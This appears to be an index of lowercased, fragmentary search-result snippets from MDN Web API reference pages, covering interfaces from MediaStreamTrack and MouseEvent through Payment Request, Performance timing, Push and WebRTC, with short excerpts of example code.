... the user agent uses the first audio track it finds on the specified stream as the audio source for
this node.
MediaStreamConstraints.video - Web APIs
examples using a boolean value in
this example, we provide a simple value of true for the video property.
...
this tells getusermedia() that we require a video track, but we don't care about any specifics beyond that.
MediaStreamConstraints - Web APIs
if
this property is specified, only the indicated peer can receive and use the stream.
... streams isolated in
this way can only be displayed in a media element (<audio> or <video>) where the content is protected just as if cors cross-origin rules were in effect.
MediaStreamTrack: ended event - Web APIs
there are various ways
this can happen, including: there is no more data left to send.
... examples
this example sets up an event handler for the ended event, which changes an on-screen icon to indicate that the track is no longer active.
MediaStreamTrack.onended - Web APIs
this event occurs when the track will no longer provide data to the stream for any reason, including the end of the media input being reached, the user revoking needed permissions, the source device being removed, or the remote peer ending a connection.
... examples
this example sets up an event handler for the ended event which changes an on-screen icon to indicate that the track is no longer active.
MediaStreamTrack.stop() - Web APIs
examples stopping a video stream in
this example, we see a function which stops a streamed video by calling stop() on every track on a given <video>.
... function stopstreamedvideo(videoelem) { const stream = videoelem.srcobject; const tracks = stream.gettracks(); tracks.foreach(function(track) { track.stop(); }); videoelem.srcobject = null; }
this works by obtaining the video element's stream from its srcobject property.
MediaStreamTrackAudioSourceNode() - Web APIs
options a mediastreamtrackaudiosourceoptions object defining the properties you want the mediastreamtrackaudiosourcenode to have: mediastreamtrack the mediastreamtrack from which to take audio data for
this node's output.
... example
this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode from the first audio track provided by the device.
Media Capabilities API - Web APIs
examples detect audio file support and expected performance
this example defines a audio configuration then checks to see if the user agent supports decoding that media configuration, and whether it will perform well in terms of smoothness and power efficiency.
... if ('mediacapabilities' in navigator) { const audiofileconfiguration = { type : 'file', audio : { contenttype: "audio/mp3", channels: 2, bitrate: 132700, samplerate: 5200 } }; navigator.mediacapabilities.decodinginfo(audiofileconfiguration).then(result => { console.log('
this configuration is ' + (result.supported ?
MerchantValidationEvent.validationURL - Web APIs
this data should be passed into the complete() method to let the user agent complete the transaction.
...once
this has been loaded, it should be passed into complete(), either directly or using a promise.
MerchantValidationEvent - Web APIs
this may be either one of the standard payment method identifier strings or a url that both identifies and handles requests for the payment handler, such as https://apple.com/apple-pay.
...once
this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to validate that the payment request is coming from an authorized merchant.
MouseEvent.altKey - Web APIs
note: on macintosh keyboards,
this key is also known as the option key.
... example
this example logs the altkey property when you trigger a click event.
MouseEvent.button - Web APIs
this property only guarantees to indicate which buttons are pressed during events caused by pressing or releasing one or multiple buttons.
... note: do not confuse
this property with the mouseevent.buttons property, which indicates which buttons are pressed for all mouse events types.
MouseEvent.buttons - Web APIs
note: do not confuse
this property with the mouseevent.button property.
... 0 : no button or un-initialized 1 : primary button (usually the left button) 2 : secondary button (usually the right button) 4 : auxiliary button (usually the mouse wheel button or middle button) 8 : 4th button (typically the "browser back" button) 16 : 5th button (typically the "browser forward" button) example
this example logs the buttons property when you trigger a mousedown event.
MouseEvent.clientX - Web APIs
originally,
this property was defined as a long integer.
... example
this example displays your mouse's coordinates whenever you trigger the mousemove event.
MouseEvent.clientY - Web APIs
originally,
this property was defined as a long integer.
... example
this example displays your mouse's coordinates whenever you trigger the mousemove event.
MouseEvent.ctrlKey - Web APIs
note: on macintosh keyboards,
this key is the control key.
... example
this example logs the ctrlkey property when you trigger a click event.
MouseEvent.movementX - Web APIs
in other words, the value of the property is computed like
this: currentevent.movementx = currentevent.screenx - previousevent.screenx.
... syntax var xshift = instanceofmouseevent.movementx; return value a number example
this example logs the amount of mouse movement using movementx and movementy.
MouseEvent.movementY - Web APIs
in other words, the value of the property is computed like
this: currentevent.movementy = currentevent.screeny - previousevent.screeny.
... syntax var yshift = instanceofmouseevent.movementy; return value a number example
this example logs the amount of mouse movement using movementx and movementy.
MouseEvent.mozInputSource - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).
MouseEvent.pageY - Web APIs
this property takes into account any vertical scrolling of the page.
... syntax var pos = event.pagey; originally,
this property was defined as a long integer.
MouseEvent.screenX - Web APIs
early versions of the spec defined
this as an integer referring to the number of pixels.
... example
this example displays your mouse's coordinates whenever you trigger the mousemove event.
MouseEvent.screenY - Web APIs
early versions of the spec defined
this as an integer referring to the number of pixels.
... example
this example displays your mouse's coordinates whenever you trigger the mousemove event.
MouseScrollEvent - Web APIs
do not use
this interface for wheel events.
... like mousewheelevent,
this interface is non-standard and deprecated.
MouseWheelEvent - Web APIs
do not use
this interface for wheel events.
... like mousescrollevent,
this interface is non-standard and deprecated.
msGraphicsTrustStatus - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
msIsBoxed - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
msPlayToDisabled - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
msPlayToPrimary - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
msPlayToSource - Web APIs
non-standard
this feature is non-standard and is not on a standards track.
...
this proprietary property is specific to internet explorer and microsoft edge.
MutationObserverInit.attributeOldValue - Web APIs
example in
this example, a mutation observer is set up to watch for changes to the status and username attributes in any elements contained within a subtree that displays the names of users in a chat room.
...
this lets the code, for example, reflect changes to users' nicknames, or to mark them as away from keyboard (afk) or offline.
MutationObserverInit.attributes - Web APIs
example in
this example, a mutation observer is set up to watch for changes to the status and username attributes in any elements contained within a subtree that displays the names of users in a chat room.
...
this lets the code, for example, reflect changes to users' nicknames, or to mark them as away from keyboard (afk) or offline.
NDEFRecord.toRecords() - Web APIs
in practice, it's possible to implement the parsing mechanism manually, but
this method simplifies the process.
... exceptions notsupported the user agent does not know how to parse
this combination of ndefrecord.data and ndefrecord.recordtype.
NameList - Web APIs
obsolete since gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7)
this feature is obsolete.
... note: although
this interface was previously implemented in gecko, there was no way to actually create one.
Navigator.geolocation - Web APIs
this allows a web site or app to offer customized results based on the user's location.
...be aware that each browser has its own policies and methods for requesting
this permission.
msSaveBlob - Web APIs
this method behaves in the same way as navigator.mssaveoropenblob() except that
this disables the file open option.
... notes when a site calls
this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header, where x-download-options removes the file open button from the browser file download dialog: content-length: <blob.size> content-type: <blob.type> content-disposition: attachment;filename=<defaultname> x-download-options: noopen specifications not part of any specifications.
msSaveOrOpenBlob - Web APIs
this method behaves in the same way as navigator.mssaveblob() except that
this enables the file open option.
... notes when a site calls
this method, the behavior is the same as when windows internet explorer downloads a file with the following in the header: content-length: <blob.size> content-type: <blob.type> content-disposition: attachment;filename=<defaultname> specifications not part of any specifications.
Navigator.productSub - Web APIs
example <script> function prodsub() { var dt = document.getelementbyid("d").childnodes[0]; dt.data = window.navigator.productsub; } </script> <button onclick="prodsub();">productsub</button> // returns: 20010725 notes on ie,
this property returns undefined.
... on apple safari and google chrome
this property always returns 20030107.
Navigator.vibrate() - Web APIs
if the device doesn't support vibration,
this method has no effect.
... if a vibration pattern is already in progress when
this method is called, the previous pattern is halted and the new one begins instead.
Navigator.xr - Web APIs
this can be used to present augmented and/or virtual reality imagery to the user.
... to determine if webxr is available, you can do something like
this: if ("xr" in window.navigator) { /* webxr can be used!
NavigatorConcurrentHardware - Web APIs
note:
this feature is available in web workers.
...
this value is always at least 1, and will be 1 if the actual number of logical processors can't be determined.
NavigatorID.appVersion - Web APIs
note: do not rely on
this property to return the correct browser version.
...
this lead to the current situation, where browsers had to return fake values from these properties in order not to be locked out of some websites.
NavigatorPlugins.javaEnabled() - Web APIs
this method indicates whether the current browser is java-enabled or not.
... syntax result = window.navigator.javaenabled() example if (window.navigator.javaenabled()) { // browser has java } notes the return value for
this method indicates whether the preference that controls java is on or off - not whether the browser offers java support in general.
NetworkInformation.rtt - Web APIs
this value is based on recently observed application-layer rtt measurements across recently active connections.
... note:
this feature is available in web workers.
Node.childNodes - Web APIs
adding or removing children will change the list's `length` } } remove all children from a node //
this is one way to remove all children from a node // box is an object reference to an element while (box.firstchild) { //the list is live so it will re-index each call box.removechild(box.firstchild); } notes the items in the collection of nodes are objects, not strings.
...(in (x)html documents
this is the html element.) childnodes includes all child nodes—including non-element nodes like text and comment nodes.
Node.cloneNode() - Web APIs
the node.clonenode() method returns a duplicate of the node on which
this method was called.
...
this behavior has been changed in the latest spec!
Node.contains() - Web APIs
syntax node.contains( othernode ) example
this function checks to see if an element is in the page's body.
... as contains is inclusive and determining if the body contains itself isn't the intention of isinpage
this case explicitly returns false.
Node.firstChild - Web APIs
syntax var childnode = node.firstchild; example
this example demonstrates the use of firstchild and how whitespace nodes might interfere with using
this property.
... if
this whitespace is removed from the source, the #text nodes are not inserted and the span element becomes the paragraph's first child.
Node.getRootNode() - Web APIs
this will differ in exact form depending on where you called getrootnode(); for example: calling it on an element inside a standard web page will return an htmldocument object representing the entire page.
... examples the first simple example returns a reference to the html/document node: rootnode = node.getrootnode();
this more complex example shows the difference between returning a normal root, and a root incuding the shadow root.
Node.insertBefore() - Web APIs
(that is, it will automatically be removed from its existing parent before appending it to the specified new parent.)
this means that a node cannot be in two locations of the document simultaneously.
...if
this is null, then newnode is inserted at the end of parentnode's child nodes.
Node.isConnected - Web APIs
examples standard dom a standard dom example: let test = document.createelement('p'); console.log(test.isconnected); // returns false document.body.appendchild(test); console.log(test.isconnected); // returns true shadow dom a shadow dom example: // create a shadow root var shadow =
this.attachshadow({mode: 'open'}); // create some css to apply to the shadow dom var style = document.createelement('style'); console.log(style.isconnected); // returns false style.textcontent = ` .wrapper { position: relative; } .info { font-size: 0.8rem; width: 200px; display: inline-block; border: 1px solid black; padding: 10px; background: white; border-radius: 10px; opacity: ...
... */ if (!('isconnected' in node.prototype)) { object.defineproperty(node.prototype, 'isconnected', { get() { return ( !
this.ownerdocument || !(
this.ownerdocument.comparedocumentposition(
this) &
this.document_position_disconnected ) ); }, }); } specifications specification status comment domthe definition of 'isconnected' in that specification.
Node.isSameNode() - Web APIs
example in
this example, we create three <div> blocks.
... html <div>
this is the first element.</div> <div>
this is the second element.</div> <div>
this is the first element.</div> <p id="output"></p> css #output { width: 440px; border: 2px solid black; border-radius: 5px; padding: 10px; margin-top: 20px; display: block; } javascript let output = document.getelementbyid("output"); let divlist = document.getelementsbytagname("div"); output.innerhtml += "div 0 same as div 0: " + divlist[0].issamenode(divlist[0]) + "<br/>"; output.innerhtml += "div 0 same as div 1: " + divlist[0].issamenode(divlist[1]) + "<br/>"; output.innerhtml += "div 0 same as div 2:...
Node.localName - Web APIs
the node.localname read-only property returns the local part of the qualified name of
this node.
... in dom4
this api was moved from node to the element and attr interfaces.
Node.rootNode - Web APIs
important: for compatibility reasons,
this property has been replaced by the node.getrootnode() method.
...
this is found by walking backward along node.parentnode until the top is reached.
Node.setUserData() - Web APIs
this method offers the convenience of associating data with specific nodes without needing to alter the structure of a document and in a standard fashion, but it also means that extra steps may need to be taken if one wishes to serialize the information or include the information upon clone, import, or rename operations.
...if null, any previously registered object and userdatahandler associated to userkey on
this node will be removed.
NodeIterator.expandEntityReferences - Web APIs
if
this value is false, the children of entity reference nodes (as well as all of their descendants) are rejected.
...
this takes precedence over the value of the nodeiterator.whattoshow method and the associated filter.
NodeList.item() - Web APIs
this method doesn't throw exceptions as long as you provide arguments.
...
this is usually obtained from another dom property or method, such as childnodes.
Notification.requireInteraction - Web APIs
note:
this feature is available in web workers.
... note:
this can be set when the notification is first created by setting the requireinteraction option to true in the options object of the notification.notification() constructor.
Notification.silent - Web APIs
note:
this feature is available in web workers.
...
this is specified in the silent option of the notification() constructor.
Notification.vibrate - Web APIs
note:
this feature is available in web workers.
...
this is specified in the vibrate option of the notification() constructor.
NotificationAction - Web APIs
note:
this feature is available in web workers.
... here a service worker shows a notification with a single "archive" action, allowing users to perform
this common task from the notification without having to open the website.
OES_fbo_render_mipmap - Web APIs
availability:
this extension is only available to webgl 1.
... in webgl2, the functionality of
this extension is available in the webgl 2 context by default.
OfflineAudioCompletionEvent - Web APIs
the complete event implements
this interface.
... note:
this interface is marked as deprecated; it is still supported for legacy reasons, but it will soon be superseded when the promise version of offlineaudiocontext.startrendering is supported in browsers, which will no longer need it.
OfflineAudioContext.suspend() - Web APIs
this is generally useful at the time of manipulating the audio graph synchronously on offlineaudiocontext.
...for
this reason, it is not allowed to schedule multiple suspends at the same quantized frame.
OscillatorNode.setPeriodicWave() - Web APIs
this replaces the now-obsolete oscillatornode.setwavetable().
... var real = new float32array(2); var imag = new float32array(2); var ac = new audiocontext(); var osc = ac.createoscillator(); real[0] = 0; imag[0] = 0; real[1] = 1; imag[1] = 0; var wave = ac.createperiodicwave(real, imag); osc.setperiodicwave(wave); osc.connect(ac.destination); osc.start(); osc.stop(2);
this works because a sound that contains only a fundamental tone is by definition a sine wave.
PannerNode.positionY - Web APIs
the audioparam contained by
this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
...note that in
this case, the change will mainly affect the timbre of the oscillator, as it's a simple mono wave.
PannerNode.positionZ - Web APIs
the audioparam contained by
this property is read only; however, you can still change the value of the parameter by assigning a new value to its audioparam.value property.
...note that in
this case, the change will mainly affect the timbre and perceived volume of the sound.
ParentNode.querySelector() - Web APIs
note:
this method is implemented as document.queryselector(), documentfragment.queryselector() and element.queryselector().
...
this string must be a valid compound selector list supported by the browser; if it's not, a syntaxerror exception is thrown.
Path2D() - Web APIs
examples creating and copying paths
this example creates and copies a path2d path.
... <canvas id="canvas"></canvas> const canvas = document.getelementbyid('canvas'); const ctx = canvas.getcontext('2d'); let path1 = new path2d(); path1.rect(10, 10, 100,100); let path2 = new path2d(path1); path2.moveto(220, 60); path2.arc(170, 60, 50, 0, 2 * math.pi); ctx.stroke(path2); using svg paths
this example creates a path2d path using svg path data.
Path2D - Web APIs
the path methods of the canvasrenderingcontext2d interface are also present on
this interface, which gives you the convenience of being able to retain and replay your path whenever desired.
...if the shape has already been closed or has only one point,
this function does nothing.
PaymentAddress.region - Web APIs
for example,
this may be a state, province, oblast, or prefecture.
...
this region has different names in different countries, such as: state, province, oblast, prefecture, or county.
PaymentAddress - Web APIs
this identifies the language in which the address is given, and is intended to aid in localization of the display of the address.
...
this has to conform to the structure defined by the basiccardresponse dictionary, and may look something like
this: { "cardnumber' : '9999999999999999", "cardholdername' : 'pat straw", "cardsecuritycode" : "999", "expirymonth" : "07", "expiryyear" : "2021", "billingaddress" : { "country" : "gb", // etc.
PaymentDetailsUpdate.error - Web APIs
this happens if both of the following are true: the paymentrequest specifies using its requestshipping property that shipping information is required.
...
this message can be used to explain to the user why they cannot submit their payment as currently specified—whether that's because the selected products cannot be shipped to their region or because their address is not served by any of the shipping companies you use.
PaymentMethodChangeEvent.methodName - Web APIs
this may be a string chosen from the list of standardized payment method identifiers, or a url used by the payment processing service.
... example
this example uses the paymentmethodchange event to watch for changes to the payment method selected for apple pay, in order to compute a discount if the user chooses to use a visa card as their payment method.
PaymentRequest: paymentmethodchange event - Web APIs
this code creates a new paymentrequest, adds a handler for the paymentmethodchange event by calling the request's addeventlistener(), then calls show() to present the payment interface to the user.
...onst paymentrequest = new paymentrequest(paymentmethods, detailsforshipping("ground"), options); paymentrequest.addeventlistener("paymentmethodchange", handlepaymentchange, false); paymentrequest.show() .then(response => response.complete("success")) .catch(err => console.log("error handling payment request: " + err)); the event handler function itself, handlepaymentchange(), looks like
this: handlepaymentchange = event => { const detailsupdate = {}; if (event.methodname === "https://apple.com/apple-pay") { const servicefeeinfo = calculateservicefee(event.methoddetails); object.assign(detailsupdate, servicefeeinfo); } event.updatewith(detailsupdate); }, false);
this begins by looking at the event's methodname property; if that indicates that the user is trying to...
PaymentRequest.shippingAddress - Web APIs
you can trigger
this by setting paymentoptions.requestshipping to true when calling the paymentrequest constructor.
... browser compatibility the compatibility table on
this page is generated from structured data.
PaymentRequest: shippingoptionchange event - Web APIs
bubbles no cancelable no interface paymentrequestupdateevent event handler property onshippingoptionchange examples
this code snippet sets up a handler for the shippingoptionchange event.
...for example, if there are three options (such as "free ground shipping", "2-day air", and "next day"), each time the user chooses one of those options,
this event handler is called to recalculate the total based on the changed shipping option.
PaymentValidationErrors - Web APIs
this object's contents will vary depending on the payment used.
... for example, if the user chose to pay by credit card using the basic-card payment method,
this is a basiccarderrors object.
Payment Request API - Web APIs
this can include localizing the ui into the user's preferred language.
...
this is used as the value of the paymentmethod property on the paymentvalidationerrors object sent to the paymentrequest when an error occurs.
performance.mark() - Web APIs
note:
this feature is available in web workers.
...if the name given to
this method already exists in the performancetiming interface, syntaxerror is thrown.
Performance.timeOrigin - Web APIs
note:
this feature is available in web workers.
... recommendation browser compatibility the compatibility table on
this page is generated from structured data.
Performance.timing - Web APIs
this property is deprecated in the navigation timing level 2 specification.
...
this property is not available in workers.
PerformanceNavigation.type - Web APIs
this interface of
this property is deprecated in the navigation timing level 2 specification.
... the legacy performancenavigation.type read-only property returns an unsigned short containing a constant describing how the navigation to
this page was done.
PerformanceResourceTiming.redirectEnd - Web APIs
when fetching a resource, if there are multiple http redirects, and any of the redirects have an origin that is different from the current document, and the timing allow check algorithm passes for each redirected resource,
this property returns the time immediately after receiving the last byte of the response of the last redirect; otherwise, zero is returned.
... note:
this feature is available in web workers.
PerformanceResourceTiming.redirectStart - Web APIs
if there are http redirects when fetching the resource and if any of the redirects are not from the same origin as the current document, but the timing allow check algorithm passes for each redirected resource,
this property returns the starting time of the fetch that initiates the redirect; otherwise, zero is returned.
... note:
this feature is available in web workers.
PerformanceTiming.loadEventEnd - Web APIs
this interface of
this property is deprecated in the navigation timing level 2 specification.
...if
this event has not yet been sent, or is not yet completed, it returns 0.
PerformanceTiming.navigationStart - Web APIs
this interface of
this property is deprecated in the navigation timing level 2 specification.
...if there is no previous document,
this value will be the same as performancetiming.fetchstart.
PerformanceTiming.requestStart - Web APIs
this interface of
this property is deprecated in the navigation timing level 2 specification.
...if the transport layer fails after the start of the request and the connection is reopened,
this property will be set to the time corresponding to the new request.
PerformanceTiming.responseEnd - Web APIs
this interface of
this property is deprecated in the navigation timing level 2 specification.
... the legacy performancetiming.responseend read-only property returns an unsigned long long representing the moment, in miliseconds since the unix epoch, when the browser received the last byte of the response, or when the connection is closed if
this happened first, from the server from a cache or from a local resource.
PermissionStatus.state - Web APIs
this property returns one of 'granted', 'denied', or 'prompt'.
... syntax var permission = permissionstatus.state; example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission state is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ',
this.state); }; }); specification specification status comment permissionsthe definition of 'state' in that specification.
PermissionStatus - Web APIs
later versions of the specification replace
this with permissionstatus.state.
... example navigator.permissions.query({name:'geolocation'}).then(function(permissionstatus) { console.log('geolocation permission status is ', permissionstatus.state); permissionstatus.onchange = function() { console.log('geolocation permission status has changed to ',
this.state); }; }); specification specification status comment permissionsthe definition of 'permissionstatus' in that specification.
Permissions.revoke() - Web APIs
syntax
this method is called on the global permissions object navigator.permissions.
... example
this function can be used by an app to request that its own geolocation api permission be revoked.
PhotoCapabilities - Web APIs
this example also shows how the imagecapture object is created using a mediastreamtrack retrieved from a device's mediastream.
... browser compatibility the compatibility table on
this page is generated from structured data.
Point - Web APIs
although it is not directly related to
this defunct interface, you are probably looking for dompoint, which is part of the geometry interfaces module level 1 specification.
... specifications
this class was specified in the defunct 20 march 2009 working draft of css 2d transforms module level 3.
PointerEvent.pointerType - Web APIs
example
this example illustrates using the value of the pointertype property to call the appropriate pointer type processing function.
...
this means that a pointerevent whose pointertype is mouse will be a double.
ProgressEvent() - Web APIs
when downloading a resource using http,
this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http,
this only represent the content itself, not headers and other overhead.
ProgressEvent - Web APIs
when downloading a resource using http,
this only represent the part of the content itself, not headers and other overhead.
...when downloading a resource using http,
this only represent the content itself, not headers and other overhead.
PromiseRejectionEvent.reason - Web APIs
this in theory provides information about why the promise was rejected.
...
this could be anything from an error code to an object with text, links, and whatever else you might wish to include.
PromiseRejectionEvent - Web APIs
methods
this interface has no unique methods; inherits methods from its parent event.
... examples
this simple example catches unhandled promise rejections and logs them for debugging purposes.
PublicKeyCredentialCreationOptions.timeout - Web APIs
this property is optional and merely is a hint which may be overridden by the browser.
... challenge: new uint8array(26) /*
this actually is given from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentia...
PublicKeyCredentialRequestOptions.challenge - Web APIs
this is randomly generated then sent from the relying party's server.
...
this value (among other client data) will be signed by the authenticator's private key and produce authenticatorassertionresponse.signature which should be sent back to the server as part of the response.
PushMessageData.json() - Web APIs
this could be anything that can be represented by json — an object, an array, a string, a number...
... browser compatibility the compatibility table on
this page is generated from structured data.
PushRegistrationManager - Web APIs
this interface has been superceded by pushmanager.
... browser compatibility the compatibility table on
this page is generated from structured data.
PushSubscription.endpoint - Web APIs
for
this reason, it is a good idea to keep your endpoint a secret, so others do not hijack it and abuse the push functionality.
... example navigator.serviceworker.ready.then(function(reg) { reg.pushmanager.subscribe({uservisibleonly: true}).then(function(subscription) { console.log(subscription.endpoint); // at
this point you would most likely send the subscription // endpoint to your server, save it, then use it to send a // push message at a later date }) }) specifications specification status comment push apithe definition of 'endpoint' in that specification.
PushSubscription.getKey() - Web APIs
specifications specification status comment push api working draft
this is the push api spec, but note that getkey() is not currently specified in here.
... browser compatibility the compatibility table on
this page is generated from structured data.
PushSubscription.options - Web APIs
this value is part of a signing key pair generated by your application server, and usable with elliptic curve digital signature (ecdsa), over the p-256 curve.
... browser compatibility the compatibility table on
this page is generated from structured data.
RTCDTMFSender.toneBuffer - Web APIs
the comma (",")
this character instructs the dialing process to pause for two seconds before sending the next character in the buffer.
...in
this example, we would send "*" to request access to the vm system, then, after a pause, send a "1" to start playback of voicemail messages, then after a pause, dial "5555" as a pin number to open the messages.
RTCDTMFSender: tonechange event - Web APIs
examples
this example establishes a handler for the tonechange event which updates an element to display the currently playing tone in its content, or, if all tones have played, the string "<none>".
...
this can be done using addeventlistener(): dtmfsender.addeventlistener("tonechange", ev => { let tone = ev.tone; if (tone === "") { tone = "<none>"; } document.getelementbyid("playingtone").innertext = tone; }, false); you can also just set the ontonechange event handler property directly: dtmfsender.ontonechange = function( ev ) { let tone = ev.tone; if (tone === "") { tone = "<none>" } document.getelementbyid("playingtone").innertext = tone; }; specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'tonechange' in that specification.
RTCDataChannel: bufferedamountlow event - Web APIs
bubbles no cancelable no interface event event handler property onbufferedamountlow examples
this example sets up a handler for bufferedamountlow to request more data any time the data channel's buffer falls below the number of bytes specified by bufferedamountlowthreshold, which we have set to 65536.
... let pc = new rtcpeerconnection(); let dc = pc.createdatachannel("sendfile"); let source = /* source data object */ dc.bufferedamountlowthreshold = 65536; pc.addeventlistener("bufferedamountlow", ev => { if (source.position <= source.length) { dc.send(source.readfile(65536)); } }, false); after creating the rtcpeerconnection,
this calls rtcpeerconnection.createdatachannel() to create the data channel.
RTCDataChannel: close event - Web APIs
bubbles no cancelable no interface event event handler property rtcdatachannel.onclose examples
this example sets up a handler for the close event for the rtcdatachannel named dc; its responsibility in
this example is to update user interface elements to reflect that there is no longer an ongoing call, and to allow a new call to be started.
... dc.addeventlistener("close", ev => { messageinputbox.disabled = true; sendbutton.disabled = true; connectbutton.disabled = false; disconnectbutton.disabled = true; }, false); all
this code does in response to receiving the close event is to disable an input box and its "send" button, and to enable the button used to start a call (while disabling the one that ends a call).
RTCDataChannel.maxPacketLifeTime - Web APIs
this limits how long the browser can continue to attempt to transmit and retransmit the message before giving up.
...if not set when rtcpeerconnection.createdatachannel() was called to create the data channel,
this value is null.
RTCDataChannel.negotiated - Web APIs
see creating a data channel in using webrtc data channels for further information about
this property.
... example the code snippet below checks the value of negotiated; if it's true, a function called shutdownremotechannel() is called with the channel's id; presumably
this would be implemented to transmit a shutdown signal to the remote peer prior to terminating the connection.
RTCDataChannel.onopen - Web APIs
the rtcdatachannel.onopen property is an eventhandler which specifies a function to be called when the open event is fired;
this is a simple event which is sent when the data channel's underlying data transport—the link over which the rtcdatachannel's messages flow—is established or re-established.
... example
this example adds a new data channel to an existing rtcpeerconnection, mypeerconnection.
RTCDataChannel: open event - Web APIs
bubbles no cancelable no interface rtcdatachannelevent event handler property onopen examples
this example adds to the rtcdatachannel dc a handler for the open event that adjusts the user interface to indicate that a chat window is ready to be used after a connection has been established.
... dc.addeventlistener("open", ev => { messageinputbox.disabled = false; sendmessagebutton.disabled = false; disconnectbutton.disabled = false; connectbutton.disabled = true; messageinputbox.focus(); }, false);
this can also be done by directly setting the value of the channel's onopen event handler property.
RTCDataChannel.readyState - Web APIs
this is the state of a new rtcdatachannel after being created by rtcpeerconnection.createdatachannel() (on the peer which started the connection process).
...
this is the default state of a new rtcdatachannel created by the webrtc layer when the remote peer created the channel and delivered to the site or app in a datachannel event of type rtcdatachannelevent.
RTCDataChannel.stream - Web APIs
this id is set at the time the data channel is created, either by the user agent (if rtcdatachannel.negotiated is false) or by the site or app script (if negotiated is true).
...
this property has been replaced with the rtcdatachannel.id property.
RTCDataChannelEvent() - Web APIs
there is only one type of rtcdatachannelevent, so
this will always be "datachannel".
... example in
this example, a new datachannel event is created.
RTCDtlsTransport.state - Web APIs
examples
this example presents a function, tallysenders(), which iterates over an rtcpeerconnection's rtcrtpsenders, tallying up how many of them are in various states.
... case "connecting": results.connectionpending++; break; case "connected": results.connected++; break; case "closed": results.closed++; break; case "failed": results.failed++; break; default: results.unknown++; break; } } }); return results; } note that in
this code, the new and connecting states are being treated as a single connectionpending status in the returned object.
RTCIceCandidate.foundation - Web APIs
usage notes consider
this sdp attribute line (a-line) which describes an ice candidate: a=candidate:4234997325 1 udp 2043278322 192.168.0.56 44323 typ host the field "4234997325" is the foundation.
... example
this code snippet uses the foundation of two candidates to determine if they're actually the same candidate.
RTCIceCandidate.relatedPort - Web APIs
see the example, which shows a bit of
this.
... example in
this example, the candidate's type is checked, and then debugging output is presented, based on the candidate type, including the candidate's type, address (ip and port), and related address (relatedaddress and relatedport).
RTCIceCandidate.sdpMid - Web APIs
this id uniquely identifies a given stream for the component with which the candidate is associated.
...
this property can be configured by specifying the value of the sdpmid property when constructing the new candidate object using rtcicecandidate().
RTCIceCandidatePairStats.bytesReceived - Web APIs
syntax received = rtcicecandidatepairstats.bytesreceived; value an integer value indicating the total number of bytes received so far on the connection described by
this candidate pair.
... only data bytes are counted; overhead such as padding, headers, and the like are not included in
this count.
RTCIceCandidatePairStats.bytesSent - Web APIs
syntax sent = rtcicecandidatepairstats.bytessent; value an integer value indicating the total number of bytes sent so far on the connection described by
this candidate pair.
... only data bytes are counted; overhead such as padding, headers, and the like are not included in
this count.
RTCIceCandidatePairStats.circuitBreakerTriggerCount - Web APIs
the rtcicecandidatepairstats property circuitbreakertriggercount indicates the number of times the circuit-breaker has been triggered to indicate a connection timeout or other unexpected connection abort on
this specific connection configuration.
... syntax cbtcount = rtcicecandidatepairstats.circuitbreakertriggercount; value an integer value indicating the number of times the circuit-breaker has been triggered for the 5-tuple used by
this connection.
RTCIceCandidatePairStats.consentRequestsSent - Web APIs
the rtcicecandidatepairstats property consentrequestssent specifies the number of consent requests that have been sent by
this peer to the remote peer on the connection described by the pair of candidates.
... syntax consentrequestssent = rtcicecandidatepairstats.consentrequestssent; value an integer indicating the number of consent requests
this peer has sent to the other peer over the connection described by the pair of candidates referenced by
this rtcicecandidatepairstats object.
RTCIceCandidatePairStats.readable - Web APIs
syntax isreadable = rtcicecandidatepairstats.readable; value a boolean value which is true if the connection described by
this candidate pair has received at least one valid ice request, and is therefore ready to be read from.
... note:
this property was removed from the specification in early 2017 because you can determine whether or not the connection is readable by checking to see if requestsreceived is greater than 0: if (icpstats.requestsreceived > 0) { /* at least one ice request has been received */ } ...
RTCIceCandidatePairStats.responsesReceived - Web APIs
the responsesreceived property in the rtcicecandidatepairstats dictionary indicates the total number of stun connectivity check responses that have been received on the connection described by
this pair of candidates.
... syntax responsesreceived = rtcicecandidatepairstats.responsesreceived; value an integer value which specifies the number of stun connectivity request responses that have been received on the connection described by
this pair of candidates so far.
RTCIceCandidatePairStats.responsesSent - Web APIs
the rtcicecandidatepairstats dictionary's responsessent property indicates the total number of stun connectivity check responses that have been sent so far on the connection described by
this pair of candidates.
... note: since it isn't possible to tell the difference between connectivity check requests and consent requests,
this value includes both.
RTCIceCandidatePairStats.writable - Web APIs
syntax iswritable = rtcicecandidatepairstats.writable; value a boolean value which is true if the connection described by
this candidate pair has received acknowledgement of receipt (ack) for at least one ice request and that stun consent hasn't expired.
... note:
this property was removed from the specification in early 2017 because you can determine whether or not an incoming ice request is available to read by checking to see if responsesreceived is greater than 0 and that the time specified by consentexpiredtimestamp has not passed: if (icpstats.responsesreceived > 0 && icpstats.consentexpiredtimestamp < performance.now()) { /* at least one ice response has been received */ } ...
RTCIceCandidateStats.transportId - Web APIs
the rtcicecandidatestats dictionary's transportid property is a string that uniquely identifies the transport that produced the rtctransportstats from which information about
this candidate was taken.
...
this can be used to compare candidates that would use the same transport, for example.
RTCIceComponent - Web APIs
an rtcicecomponent of
this value corresponds to the component id field in the candidate a-line with the value 1.
...
this value of rtcicecomponent corresponds to the component id 2.
